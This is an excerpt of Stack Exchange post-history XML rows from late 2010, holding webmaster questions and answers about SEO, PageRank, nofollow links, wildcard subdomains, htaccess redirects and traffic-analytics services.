  <row Id="13178" PostHistoryTypeId="5" PostId="6583" RevisionGUID="a1b9ccfb-941e-48f8-b74c-266555f35727" CreationDate="2010-12-10T19:12:17.910" UserId="2293" Comment="minor grammar fix" Text="I don't think reinventing the wheel is the right path.&#xD;&#xA;&#xD;&#xA;There are a lot of standards currently on use. I think if you wanna markup your elements correctly, start from the basis: there is a global HTML attribute named **lang** for this purpose.&#xD;&#xA;&#xD;&#xA;    &lt;html lang='de-de'&gt;&#xD;&#xA;    &lt;html lang='en-us'&gt;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;for an element only&#xD;&#xA;&#xD;&#xA;    &lt;html lang='pt-br'&gt;&#xD;&#xA;    ...&#xD;&#xA;    &lt;p&gt;Também chamado de &lt;abbr lang='en-us' title='Search Engine Optimization'&gt;SEO&lt;/abbr&gt;...&lt;/p&gt;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Follow some references for your convenience:&#xD;&#xA;&#xD;&#xA; - http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#attr-lang&#xD;&#xA; - http://www.ietf.org/rfc/bcp/bcp47.txt&#xD;&#xA; - http://en.wikipedia.org/wiki/IETF_language_tag&#xD;&#xA; - http://www.w3.org/International/tutorials/language-decl/" />
  <row Id="13179" PostHistoryTypeId="2" PostId="6586" RevisionGUID="88eaef23-7c0e-4e37-bfa0-72f4595d4a58" CreationDate="2010-12-10T19:55:50.930" UserId="3734" Text="It may be a very basic question. I am trying to user url of the form:&lt;br /&gt;&#xD;&#xA;&quot;membername.example.com&quot; but I have no idea what would be the steps to be performed.&lt;br /&gt; &#xD;&#xA;We are using apache web server. &lt;br /&gt;&#xD;&#xA;&#xD;&#xA;Thanks,&lt;br /&gt;&#xD;&#xA;Ankur" />
  <row Id="13180" PostHistoryTypeId="1" PostId="6586" RevisionGUID="88eaef23-7c0e-4e37-bfa0-72f4595d4a58" CreationDate="2010-12-10T19:55:50.930" UserId="3734" Text="dynamic url for member" />
  <row Id="13181" PostHistoryTypeId="3" PostId="6586" RevisionGUID="88eaef23-7c0e-4e37-bfa0-72f4595d4a58" CreationDate="2010-12-10T19:55:50.930" UserId="3734" Text="&lt;domains&gt;&lt;apache&gt;&lt;dynamic&gt;" />
  <row Id="13183" PostHistoryTypeId="2" PostId="6587" RevisionGUID="f801969f-f347-4957-a768-d39b4a156c61" CreationDate="2010-12-10T20:01:31.020" UserId="3142" Text="Sometimes a page on our site will show up in the Google SERPs that was previously not indexed (yet) due to a news story or blog posting on another site that points to it.&#xD;&#xA;&#xD;&#xA;From what I understand, the Google FreshBot has crawled it. The FreshBot's job is to find information that is current or newsworthy to the time and get it indexed and into the SERPs quickly.&#xD;&#xA;&#xD;&#xA;However, the pages that benefit from that drop out of the SERPs after two or three days. As a matter of fact, if I do an advanced query and request that page specifically from our site (using &quot;site:&quot;), it appears to not even be indexed any more.&#xD;&#xA;&#xD;&#xA;**What's happening to our Google FreshBot crawled pages?**&#xD;&#xA;&#xD;&#xA;**Do pages that are indexed by the FreshBot still need to be re-indexed by the DeepBot?**&#xD;&#xA;&#xD;&#xA;For what it's worth, we're ordinarily getting indexed daily at a healthy rate, but we don't yet have all of our pages indexed (large site). It has been encouraging to see the effect of the FreshBot indexing, but watching it fade away is hard to understand. On our pages indexed as part of our normal crawls, our SERPs are strong -- without the added relevancy of news or other off-page links." />
  <row Id="13184" PostHistoryTypeId="1" PostId="6587" RevisionGUID="f801969f-f347-4957-a768-d39b4a156c61" CreationDate="2010-12-10T20:01:31.020" UserId="3142" Text="Why do Google FreshBot crawled and indexed pages disappear from SERPs? Will they come back?" />
  <row Id="13185" PostHistoryTypeId="3" PostId="6587" RevisionGUID="f801969f-f347-4957-a768-d39b4a156c61" CreationDate="2010-12-10T20:01:31.020" UserId="3142" Text="&lt;seo&gt;&lt;google&gt;&lt;indexing&gt;&lt;serps&gt;" />
  <row Id="13186" PostHistoryTypeId="2" PostId="6588" RevisionGUID="b0a4e6ba-1e40-49d8-b5ca-813a0bbae000" CreationDate="2010-12-10T20:19:46.100" UserId="3269" Text="A co-worker of mine chatted directly with an Adobe representative.  He clarified that using `@font-face` embedding covers both the Preview &amp; Print and Editable settings.  Whether other font foundries/resellers have the same interpretation, I don't know.&#xD;&#xA;" />
  <row Id="13187" PostHistoryTypeId="2" PostId="6589" RevisionGUID="732023b5-3a8a-42ce-bff2-16decc8b36e1" CreationDate="2010-12-10T20:23:10.903" UserId="3142" Text="We have a well designed internal linking system that makes certain no page is more than four pages deep, and the indexing process has gone well for us.&#xD;&#xA;&#xD;&#xA;However, in addition to the hierarchical page links we created to help with the crawl, many pages have links (cross-links, if you will) to other related data. For example, a person may have links to all the companies they own. The companies, though, have their pages exposed as part of the hierarchical linkage we built, meaning that there are often many routes to the same page.&#xD;&#xA;&#xD;&#xA;It seems like it would be beneficial to make all of our links that are not part of the hierarchical linkage to be &quot;NoFollow&quot; so the spider does not get &quot;distracted&quot; so to speak, at risk of hitting a page it's already visited.&#xD;&#xA;&#xD;&#xA;Clearly, the most efficient way for Google to finish its crawl would be to visit the links that are part of the hierarchy, but not click over to the cross links.&#xD;&#xA;&#xD;&#xA;However, I have two concerns:&#xD;&#xA;&#xD;&#xA; 1. Some people call what I propose PR-shaping, stating that it's a form of over optimization that Google frowns upon.&#xD;&#xA; 2. When the spider hits a detail page from an external link, it is nice to have it follow through on additional pages linked off of that page.&#xD;&#xA;&#xD;&#xA;Should I leave well enough alone, or **should I use &quot;NoFollow&quot; on the internal links to related content?**" />
  <row Id="13188" PostHistoryTypeId="1" PostId="6589" RevisionGUID="732023b5-3a8a-42ce-bff2-16decc8b36e1" CreationDate="2010-12-10T20:23:10.903" UserId="3142" Text="Should I strategically use NoFollow on internal links to make our indexing crawl more efficient?" />
  <row Id="13189" PostHistoryTypeId="3" PostId="6589" RevisionGUID="732023b5-3a8a-42ce-bff2-16decc8b36e1" CreationDate="2010-12-10T20:23:10.903" UserId="3142" Text="&lt;seo&gt;&lt;google&gt;&lt;links&gt;&lt;indexing&gt;&lt;spider&gt;" />
  <row Id="13190" PostHistoryTypeId="2" PostId="6590" RevisionGUID="3bbe078d-59eb-4865-89f1-d09090e4f40a" CreationDate="2010-12-10T20:27:46.797" UserId="1253" Text="[PageRank shaping is a perfectly fine thing to do][1]. &#xD;&#xA;&#xD;&#xA;Bots don't get distracted by multiple links to the same page so I wouldn't even continue that train of thought. I also wouldn't throw away PR to your internal pages for any reason (nofollow links still send PR but it essentially thrown away as it does not get counted for the receiving page). If you're ever concerned that a page may be getting too much PR then alter how you link to it. But don't use nofollow on internal links unless you don't want them indexed, etc. You're only hurting yourself.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.websitepublisher.net/blog/2009/06/17/nofollow-pagerank-manipulation/" />
  <row Id="13191" PostHistoryTypeId="2" PostId="6591" RevisionGUID="f296156b-5c8f-4f18-8567-8de28195d4fb" CreationDate="2010-12-10T20:28:11.337" UserId="3142" Text="You need to use the mod_rewrite URL rewriting engine to do what you describe.&#xD;&#xA;&#xD;&#xA;Here is a link called &quot;[URL Rewriting for Beginners][1]&quot; that will orient you to the subject. Read it, but also click through to some of the links it provides for documentation on how to deploy it.&#xD;&#xA;&#xD;&#xA;http://www.addedbytes.com/for-beginners/url-rewriting-for-beginners/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.addedbytes.com/for-beginners/url-rewriting-for-beginners/" />
  <row Id="13192" PostHistoryTypeId="2" PostId="6592" RevisionGUID="24006089-ead4-4147-b19e-154031349fb3" CreationDate="2010-12-10T20:41:41.347" UserId="2293" Text="Well...&#xD;&#xA;&#xD;&#xA;first you need to use htaccess to redirect all requests to one page (of course you could manage this in other 1000 ways, but this approach is easier IMHO). And the correct term would be rewrite and no redirect.&#xD;&#xA;&#xD;&#xA;I am supposing too that you are using a scripting language at your backend. You can use its facilities to determine the correct request.&#xD;&#xA;&#xD;&#xA;For example, on PHP you should be able to access that info through $_SERVER['HTTP_HOST']" />
  <row Id="13210" PostHistoryTypeId="2" PostId="6598" RevisionGUID="f2db2537-ae41-49ae-92da-242458878f37" CreationDate="2010-12-10T22:39:15.330" UserId="3175" Text="I currently operate a site which uses the Facebook Connect for log-in. &#xD;&#xA;I would like to &quot;convert&quot; this site to a facebook appliation (that is, to be used as an iframe in Facebook website).&#xD;&#xA;What will be the best way to do so? What changes do I need to make in the log-in procedure to enable it? &#xD;&#xA;Is there anyway I can use the same URL of my site to be served as the facebook app, and in that way avoid duplication of content (one for the website version and the other one for the app)?&#xD;&#xA;&#xD;&#xA;Joel" />
  <row Id="13211" PostHistoryTypeId="1" PostId="6598" RevisionGUID="f2db2537-ae41-49ae-92da-242458878f37" CreationDate="2010-12-10T22:39:15.330" UserId="3175" Text="Converting Facebook Connect to Application" />
  <row Id="13212" PostHistoryTypeId="3" PostId="6598" RevisionGUID="f2db2537-ae41-49ae-92da-242458878f37" CreationDate="2010-12-10T22:39:15.330" UserId="3175" Text="&lt;facebook&gt;&lt;facebook-application&gt;" />
  <row Id="13213" PostHistoryTypeId="5" PostId="6570" RevisionGUID="65105c04-6801-4694-ac77-0de3f5922c5d" CreationDate="2010-12-10T22:52:28.737" UserId="3" Comment="added 315 characters in body" Text="Yes, putting important keywords closer to the beginning of a title does help SEO. SEOmoz's [ranking factors][1] survey agrees, as do other sources.&#xD;&#xA;&#xD;&#xA;&gt; **Keyword Use Anywhere in the Title Tag**  &#xD;&#xA;&gt; 66% very high importance&#xD;&#xA;&#xD;&#xA;&gt; **Keyword Use as the First Word(s) of the Title Tag**  &#xD;&#xA;&gt; 63% high importance&#xD;&#xA;&#xD;&#xA;&gt; **Keyword Use in the Root Domain Name**  &#xD;&#xA;&gt; 60% high importance&#xD;&#xA;&#xD;&#xA;&gt; **Keyword Use Anywhere in the H1 Headline Tag**  &#xD;&#xA;&gt; 49% moderate importance&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Side rant: Personally I hate this because it actually devalues user experience in many cases. For home pages, if you are a company selling red widgets a spammy title like &quot;red widgets, widgets, blue widgets&quot; can be more successful that &quot;Awesome WidCo plc - suppliers of red widgets&quot;.&#xD;&#xA;&#xD;&#xA;I believe the site name should come first on the home page, but SEO forces you to do the opposite.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/article/search-ranking-factors#ranking-factors" />
  <row Id="13214" PostHistoryTypeId="5" PostId="6556" RevisionGUID="a771bd88-f524-47c9-a5b6-3cb42d019448" CreationDate="2010-12-10T22:59:08.557" UserId="3" Comment="added 15 characters in body" Text="Stack Overflow has made a change to their page titles such that the most popular tag for a question appears at the start of the title.  The change is being deployed across the network, so check out the page title for this question.  &#xD;&#xA;&#xD;&#xA;Compare the question title and the page title for [this question](http://stackoverflow.com/q/4406371/181481):&#xD;&#xA;&#xD;&#xA;* Question title:   &#xD;&#xA;    Is it safe to use ASP.NET MVC3 RC?&#xD;&#xA;&#xD;&#xA;* Page title:  &#xD;&#xA;  asp.net mvc - Is it safe to use ASP.NET MVC3 RC? - Stack Overflow&#xD;&#xA;&#xD;&#xA;I understand the change to try and stop [scrapers ranking higher](http://meta.stackoverflow.com/questions/71820/report-high-google-ranking-se-scrapers-here) on Google.  Adding the most popular tag to the page title seems like a good idea.&#xD;&#xA;&#xD;&#xA;However, a side effect that I'm noticing is that with a lot of tabs open, now the only part of the title that I can see is the tag.  **Would moving this keyword to later in the page title harm these efforts to improve SEO?**&#xD;&#xA;&#xD;&#xA;Possible title:  &#xD;&#xA;Is it safe to use ASP.NET MVC3 RC? - asp.net mvc - Stack Overflow" />
  <row Id="13215" PostHistoryTypeId="2" PostId="6599" RevisionGUID="98592d09-b9b9-478e-9f09-da2e1ac59ed2" CreationDate="2010-12-10T23:03:04.740" UserId="3142" Text="**For most sites, I think that unique visitors is more important than visits**.&#xD;&#xA;&#xD;&#xA;Like Joshak said, this could differ based on the business goals. However, I think that it is more typical to be curious about the size of an audience, such as:&#xD;&#xA;&#xD;&#xA; - How many people watched a TV show?&#xD;&#xA; - How many clients do you serve?&#xD;&#xA; - How many prospects inquired about our products?&#xD;&#xA;&#xD;&#xA;Also, another reason to suggest visitors is because it does tell a (fairly) complete story, e.g. &quot;200 different people visited your site last month.&quot; In contrast, saying that there were &quot;500 different visits&quot; seems to not tell as complete a story, opening the door to more questions (and that might be good for you).&#xD;&#xA;&#xD;&#xA;As far as the number of visits goes, that can be affected by other factors. For example, a product that has a long sales cycle could result in the same prospective buyer to make many visits to a site to view/review the product(s). Also, a product or service that is not easily understood (or not well communicated) may also result in more visits per prospect or per closed sale.&#xD;&#xA;&#xD;&#xA;Agreed, it's not absolutely clear for all cases, but you asked for a recommendation and seem to want to keep it simple. For that reason, **I suggest visitors.**&#xD;&#xA;&#xD;&#xA;Lastly, for what it's worth:&#xD;&#xA;&#xD;&#xA; - Googling &quot;web site visitors&quot; shows 17MM&#xD;&#xA;   results&#xD;&#xA; - Googling &quot;web site visits&quot; shows 7MM&#xD;&#xA;   results&#xD;&#xA;&#xD;&#xA;*Both queries contained quotes around the entire query phrase. This method has been proven to expose some spurious results, but mostly when the comparisons are supersets and subsets of one another.*" />
  <row Id="13216" PostHistoryTypeId="2" PostId="6601" RevisionGUID="167cb698-035c-4a32-8d8b-6480c82d2018" CreationDate="2010-12-10T23:50:27.047" UserId="2629" Text="This is not a question for here, maybe [webmasters.stackexchange.com][1]&#xD;&#xA;&#xD;&#xA;But the answer is **NO**, Google doesn't hold you accountable for the incoming links. (it would be very easy to harm your opponent if so).&#xD;&#xA;&#xD;&#xA;EDIT: Just in case. This is **unless** you link back to them, then, I does affect you.&#xD;&#xA;&#xD;&#xA;BTW: PR is not that important any more and is not directly related to incoming links!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com" />
  <row Id="13217" PostHistoryTypeId="2" PostId="6600" RevisionGUID="e53d0a64-b9e8-46c7-a75b-104ffa572fe9" CreationDate="2010-12-10T23:11:38.467" UserId="2312" Text="As the title says, will I?&#xD;&#xA;&#xD;&#xA;Ex: I have PR 5, and suddenly a thousand sites link to me and they all have just PR 0, 1 or 2, will this cause my PR to drop?" />
  <row Id="13218" PostHistoryTypeId="1" PostId="6600" RevisionGUID="e53d0a64-b9e8-46c7-a75b-104ffa572fe9" CreationDate="2010-12-10T23:11:38.467" UserId="2312" Text="If I have a page rank of 5, and I get alot of backlinks from sites with PR 1, will I then decrease in PR?" />
  <row Id="13219" PostHistoryTypeId="3" PostId="6600" RevisionGUID="e53d0a64-b9e8-46c7-a75b-104ffa572fe9" CreationDate="2010-12-10T23:11:38.467" UserId="2312" Text="&lt;html&gt;&lt;search&gt;&lt;google&gt;&lt;seo&gt;" />
  <row Id="13220" PostHistoryTypeId="17" PostId="6600" RevisionGUID="363b1a7b-cc08-44da-ba57-8b40c4f50151" CreationDate="2010-12-10T23:58:47.743" UserId="-1" Comment="from http://stackoverflow.com/questions/4414125/if-i-have-a-page-rank-of-5-and-i-get-alot-of-backlinks-from-sites-with-pr-1-wil" Text="" />
  <row Id="13221" PostHistoryTypeId="2" PostId="6603" RevisionGUID="07a6c64e-8057-429b-8325-e16cc163e8ec" CreationDate="2010-12-10T23:06:10.430" UserDisplayName="Jesus Oliva" Text="**From Alexa:**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Gathering Web Usage Information&lt;br/&gt;&#xD;&#xA;&gt; In addition to the Alexa Crawl, which&#xD;&#xA;&gt; can tell us what is on the Web, Alexa&#xD;&#xA;&gt; utilizes web usage information, which&#xD;&#xA;&gt; tells us what is being seen on the&#xD;&#xA;&gt; web. This information comes from the&#xD;&#xA;&gt; community of Alexa Toolbar users. Each&#xD;&#xA;&gt; member of the community, in addition&#xD;&#xA;&gt; to getting a useful tool, is giving&#xD;&#xA;&gt; back. Simply by using the toolbar each&#xD;&#xA;&gt; member contributes valuable&#xD;&#xA;&gt; information about the web, how it is&#xD;&#xA;&gt; used, what is important and what is&#xD;&#xA;&gt; not. This information is returned to&#xD;&#xA;&gt; the community with improved Related&#xD;&#xA;&gt; Links, Traffic Rankings and more.&#xD;&#xA;&#xD;&#xA;**From Compete:**&#xD;&#xA;&#xD;&#xA;&gt; Compete’s clickstream data are&#xD;&#xA;&gt; collected from a 2,000,000 member&#xD;&#xA;&gt; panel of US Internet users (about a 1%&#xD;&#xA;&gt; sample), using diverse sources. Using&#xD;&#xA;&gt; a rigorous statistical normalization&#xD;&#xA;&gt; methodology, Compete creates precise&#xD;&#xA;&gt; projections of the behavior of the&#xD;&#xA;&gt; entire US Internet browser population&#xD;&#xA;&gt; on monthly and weekly basis. In&#xD;&#xA;&gt; addition, Compete provides daily&#xD;&#xA;&gt; estimates of share of consumer&#xD;&#xA;&gt; attention garnered by the top Internet&#xD;&#xA;&gt; sites and the velocity of change of&#xD;&#xA;&gt; this attention. Compete is the only&#xD;&#xA;&gt; commercial web analytics provider to&#xD;&#xA;&gt; make its data freely available online&#xD;&#xA;&gt; for all Internet users.&#xD;&#xA;&#xD;&#xA;From my own experience, I think Alexa is more reliable, because its user database is bigger." />
  <row Id="13222" PostHistoryTypeId="2" PostId="6602" RevisionGUID="7b5f716b-1cb5-48e5-8a2a-f40075eae1db" CreationDate="2010-12-10T22:58:01.767" UserDisplayName="user217631" Text="how does alexa and compete get their data?  which one is better?" />
  <row Id="13223" PostHistoryTypeId="1" PostId="6602" RevisionGUID="7b5f716b-1cb5-48e5-8a2a-f40075eae1db" CreationDate="2010-12-10T22:58:01.767" UserDisplayName="user217631" Text="alexa and compete" />
  <row Id="13224" PostHistoryTypeId="3" PostId="6602" RevisionGUID="7b5f716b-1cb5-48e5-8a2a-f40075eae1db" CreationDate="2010-12-10T22:58:01.767" UserDisplayName="user217631" Text="&lt;alexa&gt;" />
  <row Id="13225" PostHistoryTypeId="17" PostId="6602" RevisionGUID="0f7a4c6d-36e5-452c-a387-8119749ba3b7" CreationDate="2010-12-11T00:24:55.717" UserId="-1" Comment="from http://stackoverflow.com/questions/4414053/alexa-and-compete" Text="" />
  <row Id="13226" PostHistoryTypeId="6" PostId="6602" RevisionGUID="6e0d1a86-595a-45f7-81ca-10c1db241c0c" CreationDate="2010-12-11T01:48:44.693" UserId="3142" Comment="edited tags" Text="&lt;traffic&gt;&lt;analytics&gt;" />
  <row Id="13227" PostHistoryTypeId="5" PostId="2844" RevisionGUID="3e65444c-8dfc-4008-86ff-0661e0fd409a" CreationDate="2010-12-11T02:12:56.243" UserId="3142" Comment="Improved the grammar (it seemed to be a bad translation into English); also added tags other than CMS" Text="Could you please advise me of a bulletin board engine that is based in Java? And for its scripting language, either JSP or JSF.&#xD;&#xA;&#xD;&#xA;I'd also prefer it to use Spring, Hibernate and/or other frameworks.&#xD;&#xA;&#xD;&#xA;It would be better, still, if it's free.&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="13228" PostHistoryTypeId="6" PostId="2844" RevisionGUID="3e65444c-8dfc-4008-86ff-0661e0fd409a" CreationDate="2010-12-11T02:12:56.243" UserId="3142" Comment="Improved the grammar (it seemed to be a bad translation into English); also added tags other than CMS" Text="&lt;cms&gt;&lt;community-management&gt;" />
  <row Id="13229" PostHistoryTypeId="2" PostId="6604" RevisionGUID="da348082-280b-40a1-baab-fc3117952f06" CreationDate="2010-12-11T02:13:13.557" UserDisplayName="JM01" Text="If I have 100 sites on a wordpress multisite installation and I give admin access to multiple developers, how can I protect the system from choking if one of them writes an infinite for loop?" />
  <row Id="13230" PostHistoryTypeId="1" PostId="6604" RevisionGUID="da348082-280b-40a1-baab-fc3117952f06" CreationDate="2010-12-11T02:13:13.557" UserDisplayName="JM01" Text="Protecting Wordpress Multisite from rogue programs " />
  <row Id="13231" PostHistoryTypeId="3" PostId="6604" RevisionGUID="da348082-280b-40a1-baab-fc3117952f06" CreationDate="2010-12-11T02:13:13.557" UserDisplayName="JM01" Text="&lt;php&gt;&lt;wordpress&gt;" />
  <row Id="13232" PostHistoryTypeId="2" PostId="6605" RevisionGUID="029d12cb-363c-449b-851d-f52a0bfedf03" CreationDate="2010-12-11T02:14:04.043" UserId="1253" Text="PR can only go up when you get a new link pointing to your page. Not down. The effect of links is cumulative. You don't get the average of the links pointing to you. And PR never goes down, even if the link is from a link farm or a bad neighborhood or whatever else Google says is bad. The worst thing that can happen is they pass no PR to you page at all. (If you link back to them then you may be considered part of the bad neighborhood and then suffer penalties from that but that is outside the scope of the question)." />
  <row Id="13233" PostHistoryTypeId="6" PostId="6600" RevisionGUID="ad1813d2-231b-454f-b787-5188b543d8b9" CreationDate="2010-12-11T02:14:45.477" UserId="1253" Comment="Removed &quot;html&quot; and &quot;search&quot; tags and added &quot;pagerank&quot; tag" Text="&lt;seo&gt;&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="13234" PostHistoryTypeId="6" PostId="6602" RevisionGUID="66b8625e-8a80-4453-801c-18bc28b10981" CreationDate="2010-12-11T02:15:53.167" UserId="1253" Comment="Added &quot;alexa&quot; tag" Text="&lt;traffic&gt;&lt;analytics&gt;&lt;alexa&gt;" />
  <row Id="13235" PostHistoryTypeId="4" PostId="2844" RevisionGUID="7e94f081-8872-4c0e-85c8-df48753f1df8" CreationDate="2010-12-11T02:21:43.493" UserId="3142" Comment="Edited the title" Text="Need suggestion for a bulletin board engine, Java based, JSP/JSF, and free." />
  <row Id="13236" PostHistoryTypeId="6" PostId="3487" RevisionGUID="0d23a3d0-cf0b-462c-a467-264b17116a96" CreationDate="2010-12-11T02:27:04.987" UserId="3142" Comment="edited tags" Text="&lt;php&gt;&lt;url-rewriting&gt;" />
  <row Id="13237" PostHistoryTypeId="6" PostId="4841" RevisionGUID="524d6454-3d0f-4dcb-9f3e-3e75a69a7953" CreationDate="2010-12-11T02:27:34.473" UserId="3142" Comment="edited tags" Text="&lt;apache&gt;&lt;url-rewriting&gt;" />
  <row Id="13238" PostHistoryTypeId="6" PostId="3724" RevisionGUID="9b1f4857-1212-4cd8-a016-c4d540672675" CreationDate="2010-12-11T02:27:56.080" UserId="3142" Comment="edited tags" Text="&lt;seo&gt;&lt;htaccess&gt;&lt;url-rewriting&gt;" />
  <row Id="13239" PostHistoryTypeId="2" PostId="6606" RevisionGUID="36c8ce7f-9693-41e1-b315-3eda73fd515e" CreationDate="2010-12-11T02:47:25.990" UserId="1064" Text="This is technically a server configuration question and therefore a candidate for ServerFault.com&#xD;&#xA;&#xD;&#xA;You *should* be insulated against infinite loops by setting a smart upper limit on PHP's [max_execution_time][1] (30 seconds by default), preventing users from accessing PHP's CLI, and otherwise keeping on top of server administration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.php.net/manual/en/info.configuration.php#ini.max-execution-time" />
  <row Id="13241" PostHistoryTypeId="2" PostId="6608" RevisionGUID="19e75d18-929f-4560-965d-75521b4b30fc" CreationDate="2010-12-11T06:36:49.197" UserId="3" Text="Adding another answer because I got a definitive response from Matt Cutts on this:&#xD;&#xA;&#xD;&#xA;&gt; **`rel=canonical` does work across domains, but it acts basically like a 301 [redirect]**, so the target site's pages would go straight to your site in Google. Any site using your content would basically be wiped out of the search engines.&#xD;&#xA;&#xD;&#xA;Like Matt says the best way to think of `rel=canonical` is as a [301 permanent redirect][1].&#xD;&#xA;&#xD;&#xA;Thus, requiring cross-domain `rel=canonical` as a set of attribution terms would be like asking them to 301 redirect to you! Ouch. :P&#xD;&#xA;&#xD;&#xA;Knowing this, it is clear that `rel=canonical` is intended only for use on sites you personally have control over -- like when you move domains and you need one domain's content to replace the other.&#xD;&#xA;&#xD;&#xA;[1]: http://en.wikipedia.org/wiki/URL_redirection#HTTP_status_codes_3xx" />
  <row Id="13242" PostHistoryTypeId="2" PostId="6609" RevisionGUID="619f75fc-5bd3-4c74-8a2d-f5526da0fee8" CreationDate="2010-12-11T06:59:27.767" UserId="3819" Text="Even though you set a preference, Google still doesn't truly know which one you prefer if there's no domain.com --&gt; www.domain.com rewrite or 301 redirect. Backlinks that point to domain.com rather than www.domain.com will also confuse Googlebot as your non-www domain still looks relevant.&#xD;&#xA;&#xD;&#xA;The easiest method would be to add some logic to your root .htaccess file:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^yourdomainname.com$&#xD;&#xA;    RewriteRule (.*) http://www.yourdomainname.com$1 [R=301]&#xD;&#xA;&#xD;&#xA;From the related Google Webmaster [help page][1]:&#xD;&#xA;&#xD;&#xA;&gt; Note: Once you've set your preferred&#xD;&#xA;&gt; domain, you may want to use a 301&#xD;&#xA;&gt; redirect to redirect traffic from your&#xD;&#xA;&gt; non-preferred domain, so that other&#xD;&#xA;&gt; search engines and visitors know which&#xD;&#xA;&gt; version you prefer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=44231&amp;hl=en&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=93633" />
  <row Id="13243" PostHistoryTypeId="2" PostId="6610" RevisionGUID="5f3a6492-7c3b-4818-b469-58ecb56b91de" CreationDate="2010-12-11T11:38:46.403" UserId="3819" Text="Sounds like you're doing exactly what [Matt Cutts][1] of Google recommends including the 301 redirects. Only thing I'd add to that is to create a sitemap that pings Google, which will help it keep inventory of your new links alongside your redirects. &#xD;&#xA;&#xD;&#xA;Settings up Google Webmaster Tools for your website in general is a good idea to keep track of your sitemaps (ensure they're working and getting successfully processed). You can also increase Googlebot's crawl rate after the switch.&#xD;&#xA;&#xD;&#xA;But really, 301 redirects are already gold. I run a large message board and dramatically changed the URLs. I had 301 redirects + a sitemap system in place and I didn't even notice so much as a skip in Google's reindexing. Google clearly knows what you're doing and as long as it can successfully connect oldlink--&gt;newlink, the transition will be painless.&#xD;&#xA;&#xD;&#xA;My forum is crawled very heavily and the new URL index was live on Google within 24 hours.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/" />
  <row Id="13244" PostHistoryTypeId="2" PostId="6611" RevisionGUID="82f8ec8d-1397-4b55-819b-4ab43b953aa7" CreationDate="2010-12-11T11:42:39.303" UserId="3822" Text="I maintain a blog about preschool children. I usually get good, open source licensed (creative commons) photos from flickr. Flickr is very rich in terms of quality photos. But the problem is that flickr doesn't have too many illustrations. &#xD;&#xA;&#xD;&#xA;I wonder if there is a rich resource like flickr which is specifically focused on illustrations?" />
  <row Id="13245" PostHistoryTypeId="1" PostId="6611" RevisionGUID="82f8ec8d-1397-4b55-819b-4ab43b953aa7" CreationDate="2010-12-11T11:42:39.303" UserId="3822" Text="Is there any CC licensed illustrations web resource like flickr?" />
  <row Id="13246" PostHistoryTypeId="3" PostId="6611" RevisionGUID="82f8ec8d-1397-4b55-819b-4ab43b953aa7" CreationDate="2010-12-11T11:42:39.303" UserId="3822" Text="&lt;graphics&gt;&lt;flickr&gt;" />
  <row Id="13251" PostHistoryTypeId="5" PostId="6608" RevisionGUID="4ac26679-012b-497b-82c1-c669cbadee6f" CreationDate="2010-12-11T12:11:52.510" UserId="3" Comment="added 42 characters in body" Text="Adding another answer because I got a definitive response from [Matt Cutts][2] on this:&#xD;&#xA;&#xD;&#xA;&gt; **`rel=canonical` does work across domains, but it acts basically like a 301 [redirect]**, so the target site's pages would go straight to your site in Google. Any site using your content would basically be wiped out of the search engines.&#xD;&#xA;&#xD;&#xA;Like Matt says the best way to think of `rel=canonical` is as a [301 permanent redirect][1].&#xD;&#xA;&#xD;&#xA;Thus, requiring cross-domain `rel=canonical` as a set of attribution terms would be like asking them to 301 redirect to you! Ouch. :P&#xD;&#xA;&#xD;&#xA;Knowing this, it is clear that `rel=canonical` is intended only for use on sites you personally have control over -- like when you move domains and you need one domain's content to replace the other.&#xD;&#xA;&#xD;&#xA;[1]: http://en.wikipedia.org/wiki/URL_redirection#HTTP_status_codes_3xx&#xD;&#xA;[2]: http://www.mattcutts.com/blog/" />
  <row Id="13252" PostHistoryTypeId="2" PostId="6613" RevisionGUID="261a4672-c9f9-4679-b85e-4391d3c2a7ff" CreationDate="2010-12-11T12:14:06.730" UserId="1757" Text="In addition to using URL rewriting, you need to also configure your nameservers to point `*.example.tld` to your web server. For example:&#xD;&#xA;&#xD;&#xA;    *.example.tld.        CNAME  example.tld." />
  <row Id="13253" PostHistoryTypeId="5" PostId="6613" RevisionGUID="66112323-dd5e-44dd-9fc6-351cdcea03db" CreationDate="2010-12-11T12:24:03.443" UserId="1757" Comment="added 740 characters in body" Text="In addition to using URL rewriting, you need to also configure your nameservers to point `*.example.tld` to your web server. For example:&#xD;&#xA;&#xD;&#xA;    *.example.tld.        CNAME  example.tld.&#xD;&#xA;&#xD;&#xA;Your case is simple enough to implement, but you should be aware of the limitations of [wildcard DNS records][1]&amp;mdash;namely:&#xD;&#xA;&#xD;&#xA; * A wildcard can only be used in place of a DNS label, not as part of it. (I.e. you can't do something like `mysql*.example.tld` to match `mysql1.example.tld` and `mysql2.example.tld`.)&#xD;&#xA; * A wildcard has to be the left-most label in a hostname. (I.e. you can't do something like `start.*.example.tld`.)&#xD;&#xA; * A wildcard will only match if there are **no records of *any type*** matching the requested hostname. So if an MX record exists for the hostname, then a CNAME wildcard will not match that hostname, even if no CNAME record exists for it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Wildcard_DNS_record" />
